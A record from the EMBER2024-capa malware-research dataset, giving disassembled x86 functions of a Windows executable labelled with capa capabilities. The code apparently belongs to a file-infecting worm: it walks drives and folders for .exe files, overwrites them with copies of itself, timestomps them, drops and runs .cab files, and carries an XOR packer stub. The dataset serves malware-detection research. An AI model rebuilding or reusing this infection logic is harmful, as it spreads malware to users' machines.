joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401fa0
Capabilities:
Set current directory

Disassembly:
sub esp, 0x208
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x104]
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x21c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x114]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp byte [esp + ecx + 0x113], 0x2f
je 0x402021
mov edi, 0x410678
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x114]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x114]
or ecx, 0xffffffff
xor eax, eax
xor bl, bl
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edi, [esp + 0x114]
lea edx, [esp + 0x10]
mov ebp, dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
mov byte [esp + ecx + 0x115], bl
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x10]
push ecx
call ebp
test eax, eax
jne 0x4020b4
lea edi, [esp + 0x10]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x10]
repne scasb al, byte es:[edi]
not ecx
dec ecx
push 0x2f
push edx
mov byte [esp + ecx + 0x17], bl
call fcn.00406f80
add esp, 8
test eax, eax
je 0x4020a9
lea eax, [esp + 0x10]
push 0x2f
push eax
call fcn.00406f80
add esp, 8
mov byte [eax + 1], bl
lea ecx, [esp + 0x10]
push ecx
call ebp
test eax, eax
je 0x402072
lea edi, [esp + 0x10]
or ecx, 0xffffffff
xor eax, eax
push 0x2f
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea esi, [esp + ecx + 0x118]
push esi
call fcn.00406f80
add esp, 8
test eax, eax
je 0x4020f1
push 0x2f
push esi
call fcn.00406f80
push 0x2f
push esi
mov byte [eax], bl
call fcn.00406f80
add esp, 0x10
test eax, eax
jne 0x4020d8
cmp byte [esi], bl
je 0x402119
push esi
call fcn.00406f50
add esp, 4
push esi
call ebp
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov al, byte [esi + ecx + 1]
lea esi, [esi + ecx + 1]
cmp al, bl
jne 0x4020f5
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x208
ret
Function at 0x404080
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov ecx, dword [esp + 8]
test ecx, ecx
jne 0x40408b
xor eax, eax
ret
mov eax, dword [esp + 4]
push ebx
push esi
mov esi, dword [esp + 0x14]
cmp esi, 8
not eax
jb 0x40418e
push edi
mov edi, esi
shr edi, 3
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
mov ebx, eax
shr ebx, 8
mov eax, dword [edx*4 + 0x40e18c]
sub esi, 8
xor eax, ebx
inc ecx
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov edx, dword [edx*4 + 0x40e18c]
shr eax, 8
xor edx, eax
inc ecx
mov eax, edx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov eax, dword [eax*4 + 0x40e18c]
shr edx, 8
xor eax, edx
inc ecx
mov edx, eax
and edx, 0xff
xor edx, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov edx, dword [edx*4 + 0x40e18c]
shr eax, 8
xor edx, eax
inc ecx
mov eax, edx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov eax, dword [eax*4 + 0x40e18c]
shr edx, 8
xor eax, edx
inc ecx
mov edx, eax
and edx, 0xff
xor edx, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov edx, dword [edx*4 + 0x40e18c]
shr eax, 8
xor edx, eax
inc ecx
mov eax, edx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov eax, dword [eax*4 + 0x40e18c]
shr edx, 8
xor eax, edx
inc ecx
mov edx, eax
and edx, 0xff
xor edx, ebx
shr eax, 8
mov edx, dword [edx*4 + 0x40e18c]
xor eax, edx
inc ecx
dec edi
jne 0x4040a6
pop edi
test esi, esi
je 0x4041b0
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
shr eax, 8
mov edx, dword [edx*4 + 0x40e18c]
xor eax, edx
inc ecx
dec esi
jne 0x404192
pop esi
pop ebx
not eax
ret
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x408ecc
nop
mov ecx, 0x3aec18b0
nop
nop
test eax, eax
nop
nop
je 0x43004e
nop
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x430024
nop
mov eax, section..data
nop
mov ebx, 0x42e1d0
nop
nop
mov ecx, 0x5cfc70e0
nop
test eax, eax
nop
nop
nop
je 0x430084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x401229
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov esi, 0x104
push esi
call fcn.00402d80
pop ecx
push esi
mov edi, eax
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push esi
call fcn.00402d80
push edi
mov dword [ebp - 8], eax
call fcn.00401d50
push eax
pop ebx
push ebx
call fcn.00402d80
push eax
pop esi
add esp, 0xc
xor eax, eax
or ebx, ebx
mov dword [ebp - 4], esi
jle 0x40128b
mov ecx, edi
sub esi, edi
mov dl, byte [ecx]
cmp dl, 0x2e
je 0x401284
inc eax
mov byte [esi + ecx], dl
inc ecx
cmp eax, ebx
jl 0x401272
jmp 0x40128b
mov ecx, dword [ebp - 4]
mov byte [ecx + eax], 0
push dword [ebp - 4]
push str._s.cab
push dword [ebp - 8]
call fcn.00401cb9
add esp, 0xc
push 1
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_WinExec]
neg eax
pop edi
sbb eax, eax
pop esi
neg eax
pop ebx
leave
ret

Function at 0x4012b4
Capabilities:
Copy file
Delete file
Get file attributes
Set file attributes
Timestomp file

Disassembly:
push ebp
push esp
pop ebp
sub esp, 0x12c
mov eax, dword [0x4110fc]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push dword [0x4348f4]
push ecx
pop ebx
mov dword [ebp - 0x114], ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov edi, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x80
push ebx
mov dword [ebp - 0x118], eax
call edi
xor esi, esi
push esi
push esi
push 3
push esi
push esi
push 0x80000000
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CreateFileA]
call ebx
lea ecx, [ebp - 0x12c]
push ecx
push esi
lea ecx, [ebp - 0x124]
push ecx
push eax
mov dword [ebp - 0x11c], eax
call dword [sym.imp.KERNEL32.dll_GetFileTime]
push dword [ebp - 0x11c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x104
lea eax, [ebp - 0x110]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push esi
push dword [0x4348f4]
lea eax, [ebp - 0x110]
push eax
mov dword [0x4348f8], eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x4013d6
lea eax, [ebp - 0x110]
push eax
push dword [ebp - 0x114]
call fcn.00401000
push dword [ebp - 0x114]
call fcn.00401b21
add esp, 0xc
push esi
push esi
push 3
push esi
push esi
push 0x100
push dword [0x4348f4]
call ebx
push eax
pop ebx
lea eax, [ebp - 0x12c]
push eax
push esi
lea eax, [ebp - 0x124]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x118]
push dword [0x4348f4]
call edi
push 2
push dword [ebp - 0x114]
call edi
sub eax, eax
inc eax
jmp 0x4013d8
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401caa
leave
ret
Function at 0x4013e7
Capabilities:
Copy file
Enumerate files on windows
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x280
mov eax, dword [0x4110fc]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
lea ecx, [ebp - 0x10]
push ecx
push eax
mov esi, str..exe
lea edi, [ebp - 0x10]
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x270], eax
lea eax, [ebp - 0x11c]
xor ebx, ebx
push str._s_s
push eax
mov dword [ebp - 0x264], ebx
movsw word es:[edi], word [esi]
mov dword [ebp - 0x27c], ebx
call fcn.00401cb9
add esp, 0x10
lea eax, [ebp - 0x25c]
push eax
lea eax, [ebp - 0x11c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [ebp - 0x278], eax
jne 0x401465
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
jmp 0x4015e4
mov esi, 0x104
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push ebx
push ebx
push eax
pop edi
push 0x6d
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push ebx
lea eax, [ebp - 0x280]
push eax
push 1
lea eax, [ebp - 0x25d]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [ebp - 0x25d], 0x30
je 0x40159c
push esi
call fcn.00402d80
pop ecx
push esi
mov dword [ebp - 0x268], eax
call fcn.00402d80
mov edi, eax
pop ecx
lea eax, [ebp - 0x230]
push eax
call fcn.00401d50
pop ecx
push eax
pop ebx
push ebx
call fcn.00402d80
pop ecx
xor ecx, ecx
test ebx, ebx
mov dword [ebp - 0x274], eax
jle 0x401530
mov dword [ebp - 0x26c], eax
lea eax, [ebp - 0x230]
sub dword [ebp - 0x26c], eax
mov al, byte [ebp + ecx - 0x230]
cmp al, 0x2e
je 0x401526
mov edx, dword [ebp - 0x26c]
add edx, ecx
inc ecx
cmp ecx, ebx
mov byte [ebp + edx - 0x230], al
jl 0x401505
jmp 0x401530
mov eax, dword [ebp - 0x274]
mov byte [eax + ecx], 0
push dword [ebp - 0x274]
push dword [ebp - 0x270]
push str._s_s.cab
push esi
push dword [ebp - 0x268]
call fcn.00401d34
add esp, 0x14
lea eax, [ebp - 0x230]
push eax
push dword [ebp - 0x270]
push str._s_s
push esi
push edi
call fcn.00401d34
add esp, 0x14
push 1
push dword [ebp - 0x268]
mov dword [0x4348f4], edi
push edi
call dword [sym.imp.KERNEL32.dll_CopyFileA]
or eax, eax
je 0x40159a
mov ecx, dword [ebp - 0x268]
call fcn.004012b4
test eax, eax
je 0x40159a
inc dword [ebp - 0x264]
sub ebx, ebx
lea eax, [ebp - 0x25c]
push eax
push dword [ebp - 0x278]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
or eax, eax
je 0x4015bc
cmp dword [ebp - 0x264], 2
jne 0x4015d2
push dword [ebp - 0x278]
call dword [sym.imp.KERNEL32.dll_FindClose]
mov dword [ebp - 0x27c], 1
cmp dword [ebp - 0x27c], ebx
je 0x40146a
mov eax, dword [ebp - 0x264]
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401caa
leave
ret
Function at 0x4015f3
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
push esp
pop ebp
and esp, 0xfffffff8
sub esp, 0x154
mov eax, dword [0x4110fc]
xor eax, esp
mov dword [esp + 0x150], eax
and dword [esp], 0
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov esi, 0x104
push esi
call fcn.00402d80
pop ecx
push esi
mov edi, eax
call fcn.00402d80
pop ecx
push ebx
push str._s.
push edi
mov dword [esp + 0x20], eax
call fcn.00401cb9
add esp, 0xc
lea eax, [esp + 0x18]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0x10], eax
je 0x4016e1
cmp byte [esp + 0x44], 0x2e
jne 0x401674
cmp byte [esp + 0x45], 0
je 0x4016bb
cmp byte [esp + 0x45], 0x2e
jne 0x401674
cmp byte [esp + 0x46], 0
je 0x4016bb
test byte [esp + 0x18], 0x10
je 0x4016bb
mov edi, dword [esp + 0x14]
lea eax, [esp + 0x44]
push eax
push ebx
push str._s_s_
push esi
push edi
call fcn.00401d34
add esp, 0x14
push edi
call fcn.00401c0b
or eax, eax
pop ecx
je 0x4016ae
push edi
call fcn.004013e7
or eax, eax
pop ecx
je 0x4016ae
inc dword [esp + 0xc]
push 1
push 0
push edi
call fcn.004015f3
add esp, 0xc
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x4016d7
mov eax, dword [esp + 0xc]
cmp eax, dword [ebp + 0x10]
jl 0x401658
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [esp + 0x15c]
mov eax, dword [esp + 0xc]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00401caa
push ebp
pop esp
pop ebp
ret

Function at 0x401770
Capabilities:
Get disk information

Disassembly:
push ebp
push esp
pop ebp
sub esp, 0xc
mov eax, dword [0x4110fc]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
sub esi, esi
lea eax, [esi + 0x43]
push eax
lea eax, [ebp - 0xc]
push str._c:_
push eax
call fcn.00401cb9
add esp, 0xc
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 4
je 0x4017af
inc esi
cmp esi, 0xd
jl 0x401783
jmp 0x4017bf
push 4
lea eax, [ebp - 0xc]
push 0
push eax
call fcn.004015f3
add esp, 0xc
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00401caa
leave
ret
Function at 0x4017cc
Capabilities:
Get disk information
Write file on windows

Disassembly:
sub esp, 0x18
mov eax, dword [0x4110fc]
xor eax, esp
mov dword [esp + 0x14], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CreateFileA]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
push edi
xor edi, edi
mov dword [esp + 0x14], edi
mov dword [esp + 0x10], edi
mov eax, dword [esp + 0x10]
add eax, 0x43
push eax
lea eax, [esp + 0x20]
push str._c:_
push eax
call fcn.00401cb9
add esp, 0xc
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 3
jne 0x4018c2
push 0x104
call fcn.00402d80
push eax
pop esi
lea eax, [esp + 0x20]
push eax
push str._swindows_
push esi
call fcn.00401cb9
push esi
call fcn.00401ab2
add esp, 0x14
or eax, eax
je 0x4018c2
push esi
push str._sWallPapers.jpg
push esi
call fcn.00401cb9
add esp, 0xc
push edi
push edi
push 3
push edi
push edi
push 0x80000000
push esi
call ebx
cmp eax, 0xffffffff
je 0x401881
push eax
call ebp
push esi
call fcn.004018e8
pop ecx
mov dword [esp + 0x14], 1
jmp 0x4018c2
push edi
push edi
push 1
push edi
push 2
push 0x40000000
push esi
call ebx
push 0
mov edi, eax
lea eax, [esp + 0x1c]
push eax
push 0x21e7a
push 0x411fa0
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
or eax, eax
je 0x4018c0
push edi
call ebp
push esi
call fcn.004018e8
pop ecx
mov dword [esp + 0x14], 1
sub edi, edi
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x4017f4
mov ecx, dword [esp + 0x24]
mov eax, dword [esp + 0x14]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00401caa
add esp, 0x18
ret

Function at 0x401973
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x10
mov eax, dword [0x4110fc]
xor eax, esp
mov dword [esp + 0xc], eax
push esi
push edi
xor edi, edi
mov dword [esp + 8], edi
lea eax, [edi + 0x43]
push eax
lea eax, [esp + 0x10]
push str._c:_
push eax
call fcn.00401cb9
add esp, 0xc
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 3
jne 0x401a17
or ebx, ebx
je 0x4019db
push 0x104
call fcn.00402d80
push eax
pop esi
push ebx
lea eax, [esp + 0x14]
push eax
push str._s_s_
push esi
call fcn.00401cb9
add esp, 0x14
jmp 0x4019fb
test edi, edi
je 0x401a17
push 5
call fcn.00402d80
mov esi, eax
lea eax, [esp + 0x10]
push eax
push 0x40fbe0
push esi
call fcn.00401cb9
add esp, 0x10
push esi
call fcn.00401ab2
or eax, eax
pop ecx
je 0x401a17
push 3
push 0
push esi
call fcn.004015f3
add esp, 0xc
test eax, eax
jne 0x401a23
inc edi
cmp edi, 0xd
jl 0x40198f
jmp 0x401a2b
mov dword [esp + 8], 1
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 8]
pop edi
pop esi
xor ecx, esp
call fcn.00401caa
push ebp
pop esp
pop ebp
ret
Function at 0x401a40
Capabilities:
Get disk information

Disassembly:
push ebp
push esp
pop ebp
sub esp, 0xc
mov eax, dword [0x4110fc]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
sub esi, esi
lea eax, [esi + 0x43]
push eax
lea eax, [ebp - 0xc]
push str._c:_
push eax
call fcn.00401cb9
add esp, 0xc
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 2
je 0x401a7d
inc esi
cmp esi, 0xd
jl 0x401a53
lea eax, [ebp - 0xc]
push eax
call fcn.00401ab2
or eax, eax
pop ecx
pop esi
je 0x401aa4
push 2
lea eax, [ebp - 0xc]
push 0
push eax
call fcn.004015f3
add esp, 0xc
neg eax
sbb eax, eax
neg eax
jmp 0x401aa6
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401caa
leave
ret

Function at 0x401ab2
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x4110fc]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
push eax
lea eax, [ebp - 0x108]
push str._sreadme.1xt
push eax
sub esi, esi
call fcn.00401cb9
add esp, 0xc
push esi
push esi
push 1
push esi
push esi
push 0x40000000
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
je 0x401afe
inc esi
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.00401caa
leave
ret

Function at 0x401b21
Capabilities:
Get file size
Write file on windows

Disassembly:
sub esp, 0x18
mov eax, dword [0x4348f4]
push ebx
push ebp
push esi
mov dword [esp + 0x14], eax
lea eax, [esp + 0x1c]
push edi
push eax
call fcn.00402ce6
push dword [esp + 0x24]
call fcn.00401df1
pop ecx
pop ecx
call fcn.00401dfe
sub edx, edx
mov ecx, 0x4538
div ecx
mov ebx, dword [sym.imp.KERNEL32.dll_CreateFileA]
xor edi, edi
push edi
push edi
push 3
push edi
push edi
push 0x80000000
push dword [esp + 0x44]
push edx
pop esi
add esi, 0x8ff1
call ebx
mov ebp, dword [sym.imp.KERNEL32.dll_GetFileSize]
push edi
push eax
mov dword [esp + 0x1c], eax
call ebp
cmp eax, edi
mov dword [esp + 0x10], eax
jne 0x401b91
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
push edi
push 3
push edi
push 2
push 0x40000000
push dword [esp + 0x30]
call ebx
mov ebx, eax
push edi
push ebx
call ebp
mov ecx, 0x16e360
cmp dword [esp + 0x10], ecx
jbe 0x401bc4
sub esi, eax
add esi, ecx
jmp 0x401bcd
cmp dword [esp + 0x10], eax
ja 0x401bcd
sub esi, esi
inc esi
push esi
call fcn.00402d80
pop ecx
push 2
push edi
push edi
push ebx
push eax
pop ebp
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push edi
lea eax, [esp + 0x20]
push eax
push esi
push ebp
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x401bfa
call dword [sym.imp.KERNEL32.dll_GetLastError]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret
Function at 0x401c0b
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x258
mov eax, dword [0x4110fc]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
lea ecx, [ebp - 0x258]
push ecx
push eax
lea eax, [ebp - 0x114]
push str._s_s
push eax
xor ebx, ebx
mov dword [ebp - 0x258], 0x2a2e2a
call fcn.00401cb9
add esp, 0x10
lea eax, [ebp - 0x254]
push eax
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x401c99
mov esi, dword [sym.imp.KERNEL32.dll_FindNextFileA]
lea eax, [ebp - 0x254]
push eax
push edi
call esi
or eax, eax
je 0x401c99
cmp ebx, 4
jge 0x401c94
lea eax, [ebp - 0x254]
push eax
push edi
inc ebx
call esi
or eax, eax
jne 0x401c7b
cmp ebx, 4
jl 0x401c99
xor eax, eax
inc eax
jmp 0x401c9b
sub eax, eax
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401caa
leave
ret

Function at 0x401caa
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4110fc]
jne 0x401cb4
repz ret
jmp 0x403039
push ebp
push esp
pop ebp
sub esp, 0x328
mov dword [0x433f48], eax
mov dword [0x433f44], ecx
mov dword [0x433f40], edx
mov dword [0x433f3c], ebx
mov dword [0x433f38], esi
mov dword [0x433f34], edi
mov word [0x433f60], ss
mov word [0x433f54], cs
mov word [0x433f30], ds
mov word [0x433f2c], es
mov word [0x433f28], fs
mov word [0x433f24], gs
pushfd
pop dword [0x433f58]
mov eax, dword [ebp]
mov dword [0x433f4c], eax
mov eax, dword [ebp + 4]
mov dword [0x433f50], eax
lea eax, [ebp + 8]
mov dword [0x433f5c], eax
mov eax, dword [ebp - 0x320]
mov dword [0x433e98], 0x10001
mov eax, dword [0x433f50]
mov dword [0x433e4c], eax
mov dword [0x433e40], 0xc0000409
mov dword [0x433e44], 1
mov eax, dword [0x4110fc]
mov dword [ebp - 0x328], eax
mov eax, dword [0x411100]
mov dword [ebp - 0x324], eax
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x433e90], eax
push 1
call fcn.004077da
pop ecx
push 0
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
push 0x40e380
call dword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x433e90], 0
jne 0x403129
push 1
call fcn.004077da
pop ecx
push 0xc0000409
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
leave
ret
Function at 0x403039
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4110fc]
jne 0x401cb4
repz ret
jmp 0x403039
push ebp
push esp
pop ebp
sub esp, 0x328
mov dword [0x433f48], eax
mov dword [0x433f44], ecx
mov dword [0x433f40], edx
mov dword [0x433f3c], ebx
mov dword [0x433f38], esi
mov dword [0x433f34], edi
mov word [0x433f60], ss
mov word [0x433f54], cs
mov word [0x433f30], ds
mov word [0x433f2c], es
mov word [0x433f28], fs
mov word [0x433f24], gs
pushfd
pop dword [0x433f58]
mov eax, dword [ebp]
mov dword [0x433f4c], eax
mov eax, dword [ebp + 4]
mov dword [0x433f50], eax
lea eax, [ebp + 8]
mov dword [0x433f5c], eax
mov eax, dword [ebp - 0x320]
mov dword [0x433e98], 0x10001
mov eax, dword [0x433f50]
mov dword [0x433e4c], eax
mov dword [0x433e40], 0xc0000409
mov dword [0x433e44], 1
mov eax, dword [0x4110fc]
mov dword [ebp - 0x328], eax
mov eax, dword [0x411100]
mov dword [ebp - 0x324], eax
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x433e90], eax
push 1
call fcn.004077da
pop ecx
push 0
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
push 0x40e380
call dword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x433e90], 0
jne 0x403129
push 1
call fcn.004077da
pop ecx
push 0xc0000409
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
leave
ret

Function at 0x403d3b
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push dword [0x434164]
call fcn.004041ee
or eax, eax
pop ecx
je 0x403d51
pop ebp
jmp eax
push 2
call fcn.004077da
pop ecx
pop ebp
jmp fcn.00403c3f
Function at 0x404531
Capabilities:
Allocate thread local storage
Set thread local storage value

Disassembly:
push edi
push str.KERNEL32.DLL
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edi, eax
or edi, edi
jne 0x40454c
call fcn.00404284
xor eax, eax
pop edi
ret
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.FlsAlloc
push edi
call esi
push str.FlsGetValue
push edi
mov dword [0x434168], eax
call esi
push str.FlsSetValue
push edi
mov dword [0x43416c], eax
call esi
push str.FlsFree
push edi
mov dword [0x434170], eax
call esi
cmp dword [0x434168], 0
mov esi, dword [sym.imp.KERNEL32.dll_TlsSetValue]
mov dword [0x434174], eax
je 0x4045ac
cmp dword [0x43416c], 0
je 0x4045ac
cmp dword [0x434170], 0
je 0x4045ac
test eax, eax
jne 0x4045d0
mov eax, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov dword [0x43416c], eax
mov eax, dword [sym.imp.KERNEL32.dll_TlsFree]
mov dword [0x434168], 0x404251
mov dword [0x434170], esi
mov dword [0x434174], eax
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
cmp eax, 0xffffffff
mov dword [0x411284], eax
je 0x4046b0
push dword [0x43416c]
push eax
call esi
or eax, eax
je 0x4046b0
call fcn.004069c2
push dword [0x434168]
call fcn.00404182
push dword [0x43416c]
mov dword [0x434168], eax
call fcn.00404182
push dword [0x434170]
mov dword [0x43416c], eax
call fcn.00404182
push dword [0x434174]
mov dword [0x434170], eax
call fcn.00404182
add esp, 0x10
mov dword [0x434174], eax
call fcn.00408ff4
or eax, eax
je 0x4046ab
push 0x404410
push dword [0x434168]
call fcn.004041ee
pop ecx
call eax
cmp eax, 0xffffffff
mov dword [0x411280], eax
je 0x4046ab
push 0x214
push 1
call fcn.0040517d
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x4046ab
push esi
push dword [0x411280]
push dword [0x434170]
call fcn.004041ee
pop ecx
call eax
test eax, eax
je 0x4046ab
push 0
push esi
call fcn.004042c1
pop ecx
pop ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
or dword [esi + 4], 0xffffffff
mov dword [esi], eax
xor eax, eax
inc eax
jmp 0x4046b2
call fcn.00404284
xor eax, eax
pop esi
pop edi
ret